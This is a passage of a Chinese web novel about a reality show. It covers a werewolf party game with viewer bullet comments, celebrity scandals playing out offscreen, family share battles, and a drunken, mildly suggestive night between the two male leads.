曹烨满脸冤枉地说:“因为我看她好像对这个游戏也蛮熟悉的,第一轮投票的时候她又一直帮你说话,我当时相信贺老师是真预言家,就怀疑你俩是互相知道彼此身份的狼人队友,你悍跳预言家,她在保你。” “所以到‘晚上’看到被刀的是她,我就怀疑你们俩是不是打反心理战,一般都会认为狼人不至于上来就自刀、女巫会给第一晚的死者解药嘛,说不定你们俩就是赌这个想要骗我解药,所以我选择了不救,刚才我踩你也是因为我怀疑你,没想到贺老师居然说我是狼人……” 贺适瑕还是不疾不徐:“你的逻辑看似挺合理的,但这其实只能说明你可能是高玩、提前预设好了被发查杀要怎么狡辩。因为我就是真预言家,我确定你就是真狼。崔允在昨天第一轮投票时发言很积极,她也是第一个质疑王早的,你们狼人意识到她不好对付,所以选择了刀她。” 任世询问其他人:“有要跳女巫的吗?” 没人出头。 赵明挠了挠头,也说:“就算有心理博弈的成分,但女巫赌自己遇上了敢第一夜就赌解药的狼人自刀……这个好像确实概率蛮小的,曹烨是有点说不通,而且现在没人再对跳,基本可以确定贺老师就是真预言家了吧,真预言家没必要发假查杀啊,我也投曹烨吧这一轮。” 曹烨坚持抗辩:“说不定真预言家已经不在这里了!可能王早或者崔老师就是真预!” “王早再不会玩,也不至于在要被投票出去的时候,还不说自己是预言家,这个理由足够我们第一轮时犹豫不投他了。”杨景贤分析道,“崔老师更不可能了,她‘昨天’帮着跳预言家的章老师说话,如果她是真预,不可能明知道对方是假预还帮她。” 宁衣初悠悠总结:“反正,要么就相信贺适瑕是真预言家,按他的查杀投票给曹烨。要么就相信曹烨是好人阵营,给他发查杀的贺适瑕是狼,真预言家不知道什么情况反正现在没说话,我们投票给贺适瑕。那我也投曹烨吧。” 任世和秦暮云也都投票给了曹烨,曹烨全票出局,看起来挺郁闷也挺困惑。 【我同情你曹烨,真的哈哈哈哈】 【只有拥有上帝视角的观众知道曹烨有多冤枉】 【好人阵营已经完蛋了吧……曹烨是女巫,已经被票死了。昨晚被刀的崔允是守卫,接下来好人阵营既没解药也没守卫,只有一个比隐狼还隐狼的真预言家贺适瑕,只要宁衣初意识到崔允是守卫、在场就剩一个神职……】 【然后宁衣初就会让贺适瑕自寻死路,神职全灭,狼人胜利】 再一次狼人视频连线环节。 赵明说:“没想到章老师居然是平民悍跳,幸好我们虽然怀疑她是隐狼,但没有贸然找她‘相认’。宁老师,曹烨应该是真的女巫吧?” 宁衣初点头:“我让贺适瑕‘昨晚’查验了他,如果是神职就给他发查杀。现在只要再找到守卫,刀掉这个神职后,我们就能赢了。” 赵明又琢磨着:“可隐狼到底是谁呢……算了,要不我们先商量今天晚上刀谁吧,我觉得可以直接刀章老师,虽然她是明牌好人,但守卫不可能放着预言家不守去守章老师这个平民,考虑场外因素,可能无脑守章老师的也就崔允老师了,但她也已经被刀了,今晚刀章老师几乎是没风险的。” 宁衣初想了想,说:“章老师现在相信贺适瑕的真预言家身份,也就会信他的查验结果,不如把她留下,今晚刀……你剩下的队友杨景贤杨老师吧。如果守卫在任老师和秦老师之间,他们可能会选择守预言家,或者剑走偏锋守章老师,也可能因为场外的夫妻关系选择守对方,但杨景贤是没有人会特意去守的。” 赵明挠了挠头:“也好,反正先让好人阵营减少人数,万一他是那个隐狼,我们也能推测出来。他要不是的话,这一场游戏结束后,我得被我的三个队友削一顿了哈哈,开局就把他们一个一个全送走了。” 敲定了下刀目标后,狼人连线结束,进入自由连线时间,贺适瑕照例来找宁衣初了。 “阿宁今晚要我查验谁?”贺适瑕轻笑问道。 目前还剩下章可久、杨景贤、任世和秦暮云四个平民,章可久身份基本没疑点了,杨景贤今晚直接刀就知道了,所以宁衣初想了想,道:“查验秦暮云老师吧。” 贺适瑕答应下来,又突然说:“阿宁,你现在其实已经愿意相信我了,对吧,你确定我就是会无条件站在你身边的。” 宁衣初微微一顿。 【嗯,感觉话里有话】 【显然不只是在说狼人杀游戏】 “我信你在游戏里会无脑服从我,”宁衣初看着电子屏幕那端的贺适瑕,左眼眼尾那细小的红痣随着他微扬的眉眼被压住,他接着说,“仅此而已。” 贺适瑕笑起来。 本场狼人杀游戏,第二个晚上是个平安夜,没有玩家出局。 因此,宁衣初和赵明也基本可以确定了,昨晚他们选择的下刀目标杨景贤,应该就是平民中的隐狼。 因为目前已经没有女巫的解药了,而杨景贤作为没有身份又不出挑的玩家,守卫不去守板上钉钉的预言家就算了,剑走偏锋也该守更招狼人注意的章可久,不大可能过于偏到守杨景贤,杨景贤没有被刀,应该是因为他是隐狼、不会被刀。 果不其然,第三个“白天”,杨景贤选择了自爆身份:“我是隐狼,我没猜错的话,贺老师的确是真预言家,但一直低调、看起来对这个游戏没什么兴趣的宁老师是狼人之一吧,所以贺老师背叛了好人阵营在帮狼人,给作为神职之一的曹烨发了查杀。” 赵明忍不住瞪了瞪眼。 宁衣初笑了下。 任世、秦暮云和章可久这三个纯好人,闻言都懵了。 作为一定程度上的高玩,章可久紧接着也意识到了:“等等……如果你说的是真的,那你是隐狼,在场还有两狼,贺老师虽然是好人阵营但会跟狼人阵营的票,那不就是说……” “也就是说,只要我们狼人阵营,加上贺适瑕这个预言家绑票,投给章老师、秦老师和任老师你们其中之一,那就必然能成功在这一轮再票出一个好人,届时好人阵营剩下三人,狼人阵营也是三人,双方人数相等,狼人阵营胜利。”宁衣初慢条斯理说道,“所以杨老师选择了现在自爆身份。” 任世和秦暮云都很震惊:“你真的是狼人?” 杨景贤松了口气:“其实我也有赌的成分,万一我猜测错了,上一轮出局的曹烨是真狼的话,狼人阵营就麻烦了,幸好。我之前不找狼自爆,是因为我怕说服不了你们,但昨晚你们刀的人是我,这一点导演有通知我,我就知道可以靠平安夜来自证隐狼身份了。看现在的情况,应该赵明是剩下一狼了吧?” 在场一共七个人,其中四个人已经绑票,结局已定,一个好人被票出局,两方阵营各剩三人,狼人阵营胜利。 之后,被关在房间里的另外三个嘉宾玩家也被放了出来,节目组公开身份,众人才知道原来崔允就是守卫,她在第一晚守护了她的队友和心目中的真预言家章可久,同时自己吃了刀。 第一场狼人杀游戏结束,但这个下午还没结束,第二场游戏继续,节目组送上新的身份牌。 下午游戏的胜负情况虽然事关晚饭,但正经说起来其实也没那么要紧,不过既然在录节目,嘉宾们基本都拿出了敬业的态度沉浸式认真玩游戏,让观众们也确实看得很过瘾。 这天下午游戏结束、嘉宾们前往餐饮点做饭吃饭后,照旧摸着夜色各回住处。 回到红砖房里,宁衣初就拿着手机直接进了浴室,在里面敲敲打打手机键盘好一会儿。 等他出来了,贺适瑕好奇了下:“阿宁是在联系谁吗?” 宁衣初张口就来:“对,联系奸夫。” 贺适瑕微微一顿:“……” 【哈哈哈哈哈阿宁是不是太不拿我们当外人了】 【虽然知道是玩笑话但还是觉得好刺激嘿嘿】 【如果贺适瑕现在索要“奸夫”的联系方式,那这将是绝杀的名场面】 宁衣初歪了下头:“你在欲言又止什么?” 贺适瑕轻叹了声:“阿宁,可以不要随便说‘奸夫’吗,我会忍不住觉得有人在占你便宜,怪委屈你的。” 宁衣初:“……” 第47章 第 47 章 “阿宁有点醉了,我先带…… 第二天一早, 作为第一期飞行嘉宾的章可久和崔允录制行程结束,就此离开了荒岛,常驻嘉宾和Tomato剩下的四个飞行嘉宾继续录制这档节目。 任世和秦暮云都是低调和气的性格, Tomato剩下的四个人也都不怎么爱挑事、而且如今对宁衣初十分“敬畏”, 所以接下来三天的录制倒是风平浪静地度过了。 不过, 虽然节目直播间里风平浪静,但这三天里, 荒岛之外的现实世界和网上风云仍然十分热闹—— 在节目第二天早上就提前退出离开了的Alien那三人,其中纪天风说到做到, 回去的路上就报警了, 说韩无双拿尸油口红诈骗他的钱。 韩无双被抓之后,警方顺着他的聊天记录和收款记录, 发现韩无双居然不止骗了纪天风一人。 据韩无双说,他最开始就是想整蛊报复纪天风, 但发现纪天风是真信了之后, 他动了敛财的心思,想着就算被纪天风知道了真相,这种对他自己名声也不好的事他肯定不会闹大——事实上,如果不是在直播节目上公开闹出来了, 纪天风还真不会破罐子破摔地报警。 韩无双最开始也只想骗纪天风一个人, 没想着把这“生意”发扬光大, 但耐不住纪天风给他介绍客户, 还说都是嘴严的,韩无双就越骗越多了。 警方问讯过口供, 由于这件事社会关注度高,所以随后还发布了公告,并说明了另外几个被诈骗的“受害人”都已经联系上了、但都拒绝作证也不想追责。 吃瓜网友们顺着线索开始猜另外几个买尸油口红的封建迷信冤大头会是谁, 很是热闹了一番。 还有Alien的沈周,虽然他在直播节目中对自己有卖|淫|行为这件事供认不讳,但被警方叫去后却矢口否认,由于警方目前没有直接逮到现场、也就没证据,所以只能姑且把他教育了一通,之后大概会盯他一段时间了。 而且沈周这事儿闹大了,他的那些客户们看重床下的隐私,就算没有警察盯梢扫|黄,也基本不可能再找他。 网友们猜完了客户人选,又好奇沈周没了这门生意的进项,欠的高利贷剩下的要怎么办? 出乎意料的是,沈周接下来也报了个警,说有人放他高利贷,他要跟对方协商,之前已还款的部分早就够本金了,剩下的违法高额利息他不会再还了,之前老老实实还高利贷是因为要在娱乐圈里混,现在反正也混不下去了,沈周也不管那么多了。 除了沈周之外,郑谷也被警察叫去教育了一番,感情上的事警方不好插手,但郑谷拿他姐姐的骨灰卖钱办冥婚,违背了公序良俗。 至于警方不好主动管的感情纠纷,陶锦那边虽然没露面,但对外发了声,一是说以后就退圈了,二是说已经对郑谷由爱转恨了,三是说他在“恋爱”期间给郑谷花的钱远超正常恋爱开销。 陶锦表示,如果郑谷是不知情的那他给就给了,但郑谷既然是早就知情、一直在演戏骗他,那他要把这部分钱财索要回去,他不缺这点钱但他要出口气,郑谷不还的话他们就法院见,反正陶锦如今不差丢这点脸了。 Alien至此也算是声名狼藉地分崩离析了,经纪公司为表态度连忙发布公告,算是彻底宣布了Alien这个男团的死刑。而男团成员这几位,就算没有坐牢,也不会有别的经纪公司敢接手用他了。 狗仔想要榨光他们身上最后一丝流量,有人跟踪郑谷到了医院,发现他去做了体检,然后因为体检结果十分崩溃地给人打电话。 狗仔录到视频,郑谷在对电话那头说:“都怪你们遗传给我这个有病的基因!居然让宁衣初说准了,我也有家族遗传病!治不好!我跟我姐一样要早死了,你们满意了吧!看你们老了以后怎么办!” 又和宁衣初“联动”上了!狗仔马上把拍到的视频发了出去。 网友们一边感慨报应,一边讨论家族遗传病这个话题,同时仍然好奇宁衣初到底怎么猜到的,别的事就算了,这种本人没去做偏门项目体检都不知道的病症,宁衣初居然也说准了。 【再这样下去我都要怀疑他是重生的啦!】 【虽然但是,认真讨论,就算是重生的也不可能知道这么多事吧!】 【哈哈哈哈哈怎么还认真讨论上了,我猜遗传病这件事就是宁衣初当时看郑谷不爽故意说来吓唬他的,郑谷听进去了一去检查还真是,才显得宁衣初言出法随了】 【emmm能说吗,论起来我真觉得郑谷是他们团里为人最恶心的一个,知道他是治不好的家族遗传病我还挺痛快的,不然让他提前查出来了给治好了,我会觉得他姐太惨了,郑谷也太走运了】 …… 除了Alien这个男团的事之外,还有Tomato因为吸毒和持有毒品被抓的队长方善游。 方善游没参与贩毒,所以被收缴毒品、教育一番后,就被送去了强制戒毒所。 涉案的贩毒团伙当然要被判刑,此外还有这桩案件里为人所知的宁绍礼和顾长柯。 顾长柯容留他人吸毒罪名证据确凿,宁绍礼则是虽然想要加入贩毒团伙但因为警方抓获及时、他还没来得及贩卖,所以宁绍礼最后的情况可能比顾长柯还能好一点,这让打听到消息的顾家人更加不满了。 虽然顾长柯在他们顾家也就是个不上进的纨绔子孙,但毕竟是有感情的自家人,出了事不可能不着急,正好顾家还护短且不讲道理,总之就把矛头直指宁家,尤其是顾长柯的前未婚妻宁安夏。 顾家公开和宁家闹掰了,并且针对上了宁安夏的夏至娱乐,短短几天时间里已经爆料了好几个夏至娱乐艺人的黑料。 夏至娱乐本来就是半死不活全靠宁家财大气粗养着,艺人也不多,数得上号的更是就那么点,这几天大半都折进去了。 宁安夏被气得半死,寻思着你顾家又是多家风清正不成,于是反击开始爆顾家的事,想给顾家添麻烦。 顾家针对性地和宁安夏打成一团时,宁家其他人没空查收,因为都忙着给自己过去的把柄善后。 都不是什么持身正的人,宁家群英荟萃,大多都干过非普通人毛病可以解释的烂事,如今他们是真信了宁衣初肆无忌惮的作风,也怕了那张嘴了,所以想赶在宁衣初对外揭发之前,赶紧把以前没上心所以或多或少留下的尾巴给收拾干净。 至于宁衣初可能根本不知道这件事? 宁家人如今可不敢赌这个可能。 整个宁家,这几天也就宁则棋和宁则书兄弟俩清闲点,冷眼看着自家人忙得团团转。 直到这天下午,他俩也有点坐不住了——因为贺家作壁上观后趁火打劫,从顾家和许家手里买到了康宁董事会的股份。 宁家想要和顾家、许家联姻,本来就是盯着他们手里的股份,虽然不多但也是一点,何况作为董事会成员还集体管控着宁家压在康宁董事会的百分之五股份。 如今,贺维安先是和许家交涉,想要买走他们手里的康宁股份。 许家老大夫妻俩,自认是受宁家的宁安春和王冕夫妻牵连,才被宁衣初报复宁家时顺带扯出了他们也找过沈周的香艳丑闻。 他们甚至觉得,自己儿子陶锦的丑闻也是因此被顺带牵连的,总之他们一家如今这么丢脸都怪宁家得罪了宁衣初,因此许家也是公然和宁家闹掰了。 不过,虽然和宁家算是结了仇了,但许家老大夫妻俩原本并不打算答应贺维安。 一来他们手里还捏着康宁的股份、总能给宁家添点堵,二来宁衣初如今和贺适瑕结了婚、也是他们贺家人,许家虽然没打算多生事端去报复直接爆料人宁衣初,但也不想让似乎挺待见宁衣初的贺家遂心。 还是许家老大夫妻俩的儿子陶锦说服了父母——儿子闹了丑闻固然丢人,但爹妈的丑闻也不遑多让,所以一家子诡异的和谐、谁也没指责谁,许家老大夫妻俩在许家权力大,许家其他人也都没敢当他们面嘲笑。 所以要说起来,虽然都是一件事,但许家老大夫妻俩如今还是比宁安春夫妻俩要自在一点的。 陶锦表示,反正他们捏着那点宁家的股份也做不了什么,贺家看起来也没打算让宁家舒心,不如就让贺家把股份买了去,他们许家以后就别和宁家再有来往、从旁看戏算了。 贺维安成功买下许家手里的康宁股份后,又去了顾家,顾家得知许家答应了交易,衡量之下问过贺维安,确定她没打算把宁家当亲家、只是想趁火打劫后,抱着看好戏的心态也答应了卖。 如此下来,贺维安手里的康宁股份就可观起来,尤其是董事会还集体管控着额外的、名义上属于宁家人的百分之五股份。 宁家担心自家人在董事会上的话语权,宁绍仁和韩文华夫妻俩再度去见贺维安,意识到对方并不打算顾虑他们手里捏着的事关唐青山的把柄、也不打算在乎祖上交情后,两人愤然离开。 至此,贺宁两家也算是撕破了脸,宁家堪称在圈子里“举目无亲”了。 娱乐圈、商界和豪门圈子风云涌动时,宁衣初他们在节目上挺轻松地来到了第六天傍晚,也就是Tomato这几个飞行嘉宾在节目上的最后一晚,明天上午又要迎来新的嘉宾了。 节目组这天的游戏安排覆盖到了晚饭时间,惩罚里有一项是喝酒。 宁衣初输的时候,贺适瑕本来想要帮他喝,但被宁衣初轻飘飘瞪了一眼:“用不着,弄得像是我输不起一样。” 贺适瑕就差举双手投降了:“我冤枉,阿宁,我可不是这个意思。” 在所有嘉宾里,宁衣初输得不多,这天晚上下来总共也就喝了五杯。 节目组准备的还是酒精含量很低的果酒,但宁衣初到最后显然有点醉意上来了,靠在椅背上懒洋洋地看人,目光越来越离散。 贺适瑕注意到了,刚好游戏也结束了,他就想带宁衣初回住处。 但这时飞行嘉宾里的曹烨凑了上来,挺不好意思但又实在好奇的样子,倒没怎么注意到宁衣初是喝醉了,因为宁衣初眼睛还睁着呢,看到他过来还问:“有事?” 曹烨嘿嘿笑了声:“有个挺好奇的八卦,感觉可能有点冒昧,但应该不会太冒犯、宁老师可能是愿意分享的……” 宁衣初这会儿精力不济,就更不想听这么绕来绕去的话:“直接问吧。” 曹烨这下看出来他有点不耐烦了,但都开了口又不问了,显得戏耍人玩似的,所以曹烨忙不迭直接道:“就是之前吃瓜嘛,听到宁老师和贺老师说过贺家和宁家都有被赶出家门的子孙,我对这种豪门瓜实在没有抵抗力,好想知道他们为什么会被赶出去,明天就要走了,今晚实在忍不住问问……可以问吗,宁老师?” 这方面的八卦,也是直播间观众早就想知道的—— 【问问问!我也好奇!】 【贺家是那个故意耍阿宁耽误了他改志愿的贺老三,还有曝光阿宁贺影帝婚讯还想推锅给阿宁的贺老二吧】 【对不起但是贺老三贺老二这种代称给我笑死了,看到一次想笑一次】 【但是很直观哈哈哈!】 【宁家就是吸毒还想贩毒的宁绍礼嘛,不过宁家赶他出家门肯定不是因为这个想要清理门户,好奇原因!】 【话说宁衣初是不是有点醉了?】 宁衣初这会儿反应有点慢,所以过了好几秒,才突然笑了出来,似乎是听到了觉得好玩的话。 他眉眼精致得过分,懒洋洋地突然一笑,看得面前的曹烨不由得愣了下,然后曹烨就被贺适瑕挡开了。 “我祖父是入赘的,祖母早年生下长子后身体虚弱,祖父趁她昏睡期间,对先天不足的长子有意拖延救治,并且在长子夭折后,带回刚出生的私生子冒充。”贺适瑕不疾不徐地说着,好像这并不是什么惊天地泣鬼神狗血淋头的事情。 问及八卦的曹烨、周遭其他听众和直播间观众们都惊掉了下巴。 贺适瑕接着道:“这件事前段时间被阿宁揭穿了,所以祖父和他的私生子、以及私生子的孩子们都被赶出了贺家。” “至于宁家那边,也是因为血脉问题,宁老爷子一辈子结过四次婚,宁绍礼是宁老爷子在第二段婚姻时出轨第三任妻子生下的私生子,但其实宁绍礼的亲生父亲是宁老爷子的长子,也就是宁则书的生父。” “宁绍礼的身世也是阿宁好心告诉宁家人的,宁老爷子不接受儿子变孙子,就把他和他母亲都赶出了宁家,原本虽然和第三任妻子离婚了,但第三任妻子还是住在宁家的。” 尽量不废话但也不漏掉重点地讲述完后,贺适瑕道:“两家的事情就是这样。阿宁有点醉了,我先带他回去了。” 然后贺适瑕看着宁衣初,放轻了声音:“阿宁,我抱你回去?” 宁衣初还是散漫地笑着,闻言仍然反应有点慢,过了几秒才伸出手:“好啊,正好我懒得走了……你抢我的酒不成功,就抢我的话,讨厌你。” 贺适瑕眉眼温和,闻言带笑道:“嗯,对不起。” 他把宁衣初打横抱了起来,走了出去。 在场其他人这才回过神,面面相觑。 曹烨尴尬道:“我没想到真相这么抓马啊,早知道是不是不该问啊……” 杨景贤迟疑:“应该……没关系?贺老师分享得蛮云淡风轻的……” 【嗝~~吃瓜吃爽了】 【我靠好刺激】 【话说贺影帝刚才把曹烨挡开,是不想让宁衣初对别人笑吧,虽然这个笑又没什么暧昧氛围……】 【他还抢话呢,虽然可能是看宁衣初醉了不想让他费神,但同时也不想让宁衣初跟别人说话,也不矛盾嘿嘿】 【好可爱啊阿宁,“讨厌你”~~~】 【就这么公主抱抱走了哇撒】 【豪门多私生子但我没想到能这么狗血啊!】 【贺适瑕作为贺家人,居然就这么水灵灵地把自家……这算是丑闻了吧?说出来了!】 【反正他不说阿宁也会说的吧哈哈哈哈,之前是没人问,但显然有人问了阿宁就会说的】 【关键是这两家的事居然都是宁衣初揭穿的吗!厉害了我的宁】 【我要消化一下,信息量好大,我其实还没消化完】 户外夜色浓重,贺适瑕抱着宁衣初,慢慢往他们住处的红砖房走回去。 宁衣初虽然醉了,有些懒散,但并不困,他靠在贺适瑕胸前看着夜空,突然说:“你去给我摘个月亮下来。” 贺适瑕愣了下,然后抱歉道:“对不起,这个我暂时无能为力。” 宁衣初很好说话地退了一步:“那摘颗星星也行。” 贺适瑕轻咳了声:“抱歉,阿宁……” “还说你什么都能为我做,结果什么都办不到,真没用。”宁衣初点评道,然后继续盯着夜空看,不说话了。 贺适瑕忍俊不禁。 跟拍的工作人员强忍住不笑。 【哇咔咔贺影帝你也被阿宁可爱疯了吧】 【不给月亮给星星也行,多善解人意啊!】 【我证明,这次是贺影帝的错哈哈哈哈哈】 回到他们住处的红砖房,工作人员就不跟了,直播间镜头切到屋内镜头,观众们看着宁衣初被贺适瑕抱回了卧室。 贺适瑕正想把宁衣初放到床上,宁衣初突然想起来什么似的:“放我下去,我还有正事……” 贺适瑕只好原地先把宁衣初放下来,然后还没等他问,就看见宁衣初从自己口袋里摸出手机,朝浴室走进去了——别说,虽然喝醉了,但走路还是稳当的。 宁衣初前几个晚上都这样,回来就拿手机躲浴室里一会儿,不过他之前会关门,贺适瑕问不出来他在联系谁,也就没有再打探。 但今晚宁衣初忘记了顺手闭门谢客,贺适瑕也担心他独自在里面出事,想了想,还是跟了进去。 【别啊,都走了我们看什么呜呜呜】 【节目组最大的败笔就是没在浴室里安镜头(嗯!)】 周遭墙壁都粗糙,宁衣初正靠在唯一光滑点的洗脸台边打字,贺适瑕走进来他也没理。 见状,贺适瑕想了想,又问了一回:“阿宁,真的不可以告诉我你在联系谁吗?” 宁衣初还是没有搭理他,继续敲键盘,然后发了消息出去,接着似乎是对方回了什么,宁衣初又继续回复。 虽然探头就能看到,但贺适瑕没有去看宁衣初的手机屏幕。不过他还是盯着宁衣初的手指动向,然后发现宁衣初好像是同时在跟不止一个人聊天。 贺适瑕越看心态越诡异,感觉自己现在像是担心孩子网聊被骗的父母…… 大概十五分钟后,宁衣初才神色疲惫地收了手机,然后偏头一看,有点惊讶贺适瑕还在这里似的。 接着他笑起来,歪了歪头:“真这么想知道啊?” 听这语气,贺适瑕觉得有戏,于是放缓了声音:“可以吗?” 宁衣初就靠在洗脸台上,正过头看着前方的红砖墙壁,声音有些飘忽不定:“我知道宁家人干过很多烂事……但我之前没有证据。私生子那种事,就算我没有证据,宁家自家人利益相关,只要知道了就能闹起来。” “但别的事,比如宁安春和王冕夫妻俩曾经强迫他人卖|淫,宁绍义在分店项目里意外致人死亡但最终说成了工亡,宁安秋的慈善基金账目有问题……反正宁家那些五毒俱全的烂事,我是没有证据的,我需要一个契机去搜集获取证据。” “现在他们被我吓住了,果然开始急慌慌给自己过去干过的烂事善后,反倒给了我搜集证据的可乘之机。我来节目之前就找好人盯着他们了……说起来啊,你给我的那些钱,也帮了不少忙呢。” 贺适瑕有点意外:“你之前做了这么多准备,我都不知道……我果然还是很疏忽你,所以你回来后这么忙,我却没注意到。” 宁衣初又歪头看他:“不想让你知道,不想信你。” 贺适瑕顿了顿,然后温声道:“之前不想信我,但如今这个能在你生病期间帮你遏制宁家生事、能完整地对人澄清你的委屈的我,可不可以让你姑且信一信呢?阿宁,以后还有什么事,吩咐我去做,好不好?我想为你做点事。” 宁衣初没回答他,只是沉默了会儿,然后毫无征兆地来了句:“你要是死掉就好了。” 贺适瑕怔了下,然后道:“抱歉……” “我这句不是在泄愤骂你。”宁衣初看着他,眼睛轻轻一眨,睫毛蝶翅似的微动,“我是认真的,贺适瑕……我第一次遇到这么喜欢我的人,所以觉得,你要是死掉就好了。你死掉了,你对我的感情在我心里就会变成标本,时间越久,我回忆起来就会越美好,我还是挺喜欢‘美好’的。” 贺适瑕有些不知道怎么反应才好了,他轻声问:“鲜活的人,不比标本更好吗?” 宁衣初否定道:“不,标本在我有生之年应该不会腐坏,人却会变得面目可憎,你要是变回以前那样了,我会觉得很恶心。” 闻言,贺适瑕沉默了片刻,然后轻笑道:“好,反正你要处理宁家和贺家的人,把我留到最后,好不好?我看着你身边清静了,到时候不要你费心,我会让你遂意的,阿宁。” 宁衣初散漫的眉眼一亮:“不许骗我!” 贺适瑕见他这样,也有些高兴:“嗯,不骗你,说好了这辈子要让你痛快的。” 宁衣初唇角轻扬,他这会儿情绪突然格外好,便想起来了一件存在。 “那个‘模型’呢?你去给我拿来。”宁衣初抬高下巴,吩咐道。 第48章 第 48 章 你怎么还不离了婚去追求…… 宁衣初突然提起要“模型”, 贺适瑕顿了顿,担心他是醉了酒忘了场合:“阿宁,节目在直播呢。” 宁衣初就往四周看了看:“浴室里面也有镜头吗?” 贺适瑕无奈轻笑:“好, 那我出去帮你拿, 你等我一下, 好好站稳,别摔着了。” 宁衣初不满地蹙眉:“你幼儿园老师的职业病又犯了是不是?” 贺适瑕一本正经地回:“幼儿园老师可不能给学生拿这种‘模型’玩。” 宁衣初就想要踢他, 贺适瑕没躲,伸手扶住了宁衣初, 怕他真摔了。 “去给我拿!”宁衣初挥开贺适瑕的手。 贺适瑕走出浴室, 先把卧室里的镜头挡上了,然后拿上放“模型”的盒子, 回到浴室里。 他关上门,一边打开盒子, 一边温声询问宁衣初:“阿宁……我帮你?” 宁衣初理所当然道:“我自己又看不见。” 这浴室里连能靠的地方都很少, 宁衣初被贺适瑕搂在怀里,后腰垫着贺适瑕的掌心靠在洗脸台的边缘,他的脸微微侧着埋在贺适瑕颈间,贺适瑕能很直观地从面前的镜中看到宁衣初泛红的脸颊。 “阿宁……这个‘模型’, 有什么需要改进的地方吗?”贺适瑕轻声问。 过了好一会儿, 宁衣初才克制着呜咽的颤音, 不高兴地回答:“改成全自动不会发声的最好……你的声音太难听了……” 宁衣初的呼吸像蝴蝶在花草间振翅, 带动的枝叶短促地扫过贺适瑕颈间的皮肤上,贺适瑕体验到了何为另类的“如鲠在喉”, 一时间连逗宁衣初的话都回不出来了。 宁衣初不知不觉间阖上了眼,再醒过来已经是第二天清晨,他昨晚被贺适瑕抱回了床上, 贺适瑕自己倒还是老老实实睡的地铺。 昨晚虽然有些醉了,但并没有断片,回想起来昨晚说了什么、做了什么,宁衣初忍不住揉了下自己的眉心。 贺适瑕也刚醒了,看到他的举动,有些担心:“是昨晚喝醉了,现在还不舒服吗?” 宁衣初下意识否认:“我没喝醉!” 贺适瑕顿了顿,旋即失笑。 【早上好,劳驾把蒙镜头的布挪开,谢谢,我要睁眼了】 【不承认喝醉的阿宁很可爱咧】 【啊啊啊贺影帝和阿宁昨晚在浴室里待了那么久到底在做什么呢!好难猜哦】 【中途还出来挡镜头,啧啧啧】 【但宁衣初不是说讨厌贺适瑕吗,应该不是真的那什么吧,不然贺适瑕好像有点趁人之危的嫌疑……】 【做恨是这样的(嗯!)】 【从阿宁现在的反应来看,贺哥应该没做什么违背他意愿的事叭】 【宁衣初的声音好像有点哑哑的,嘿嘿】 【当然也有可能是昨晚喝了酒的缘故,所以喉咙不舒服】 宁衣初是有点头疼,但指的是心理上的,看到贺适瑕就烦,生理上倒没什么难受的地方,不耽误照常录制节目。 这天是上节目的第七天,早上Tomato的四个飞行嘉宾离开荒岛,与此同时岛上迎来了新一期、按规划同样会待上三天的六位飞行嘉宾。 这六个飞行嘉宾分别是三对配偶——娱乐圈内与书传媒的老板陈与和他的丈夫杜书,知名导演徐琳和她的丈夫李继明,歌手乔阅和她的妻子孟梦苒。 值得一提的是,徐琳和在场作为演员的三位常驻嘉宾,也就是贺适瑕和任世、秦暮云三人都有过合作,算是熟人了,乔阅也曾演唱过他们各自出演的作品里的曲目。 而陈与和杜书两人,宁衣初和贺适瑕在此之前也知道。 因为陈与这个与书传媒,说起来和宁安夏的夏至娱乐异曲同工,都是本身发展得半死不活、全靠老板家底厚撑着的,陈与出身的陈家虽然生意规模没那么大,但和宁家、贺家都认识。 这会儿在节目上看到贺适瑕和宁衣初,陈与也没遮着掩着,直接打招呼道:“适瑕,小宁总,在节目上遇到也是缘分啊。” 陈与今年三十六了,像其他人那样喊“贺六公子”实在喊不出口,索性直接叫了名字。 只是一个称呼而已,他在此之前跟贺适瑕也没什么矛盾,陈与觉得这样喊问题不大。 但他没想到,贺适瑕居然紧接着当众驳了他的面子,回道:“虽然两家生意场上有点来往,但说到底我们并没有过交集,陈总还是换个称呼,不必这么自来熟。” 陈与表情尴尬在了原地,也有些惊讶,过了几秒才收拾好:“哈哈,倒是我不对了,贺老师。” 然后他看向宁衣初:“小宁总呢,需要我也换个称呼吗?” 宁衣初好整以暇地看着他:“把‘小’字去掉,‘宁总’这称呼我担得起。” 闻言,陈与呵了声:“可不是吗,虽然你是靠爬床抢别人婚约才攀上贺家的,但反正已经让贺家对你言听计从了,尤其是贺适瑕,连你下药爬床的事都能帮你往宁家人身上推锅,还把贺氏股份给了你,这么有手段,是该直接尊称‘宁总’。” 他这番话,让周遭人都惊呆了,直播间观众们都懵了—— 【什么情况?】 【又来?怎么总有人不信邪想要挑衅宁衣初呢……】 【新的飞行嘉宾一见到宁衣初就开始出言不逊,演都不演,这场面是有点眼熟啊……话说节目组不会又要在今天失去一个飞行嘉宾了吧】 【无语了,难怪宁家那些无脑说辞能用那么多年,用到他们自己都觉得没有问题了,敢情他们那个圈子里真有信的啊】 【怎么又扯下药爬床抢婚约,怎么又把贺适瑕说成个没有判断能力的智障似的,这人姓陈还是姓宁啊,和宁家人坐一桌去吧】 【贺适瑕最开始都把早年的微信聊天记录翻出来证明了,都说了婚约没定人,他最开始以为是宁衣初所以还动过心思,得知不是后一直都是拒绝的】 【之前宁家给泼脏水,搞出个“知情人”爆料说宁衣初下药爬床,但都没敢说是宁衣初抢了宁则书的婚约,因为这事儿摆明了说不过去,硬扯只会更显得他们没理,这个陈与倒还理直气壮帮宁家包揽成既定事实了……】 【而且贺适瑕澄清过了,下药的事是宁家人偷鸡不成蚀把米,他澄清完了之后那个“知情人”也没声了,宁家更是连个屁都没敢再放,这个陈与到底怎么想的,觉得宁家都不敢继续叫嚣的事可以拿出来打脸宁衣初?】 【就贺适瑕对宁衣初这个言听计从的态度,还需要宁衣初下药爬床,哈哈,自己说出来的时候没觉得好笑吗】 【合理怀疑陈与可能和贺适瑕有仇,贺适瑕本来就厌恶他,所以刚才连名字都不乐意让陈与喊,陈与积攒着新仇旧怨就想找麻烦,故意拿宁衣初以前被冤枉过的事出来说,让宁衣初再想起被贺适瑕牵连、被宁家人下药闹出一夜情的事,从而挑拨宁衣初和贺适瑕的关系,达成最终让贺适瑕焦头烂额的目的】 【贺适瑕:追妻路漫漫,还有人给我添拦路石……】 【看陈与他对象杜书的表情,好像也很意外他居然会这样说话】 杜书的确十分错愕,不过他反应也很快,没等面色不虞的贺适瑕和表情耐人寻味的宁衣初开口回应,就率先想要制止陈与。 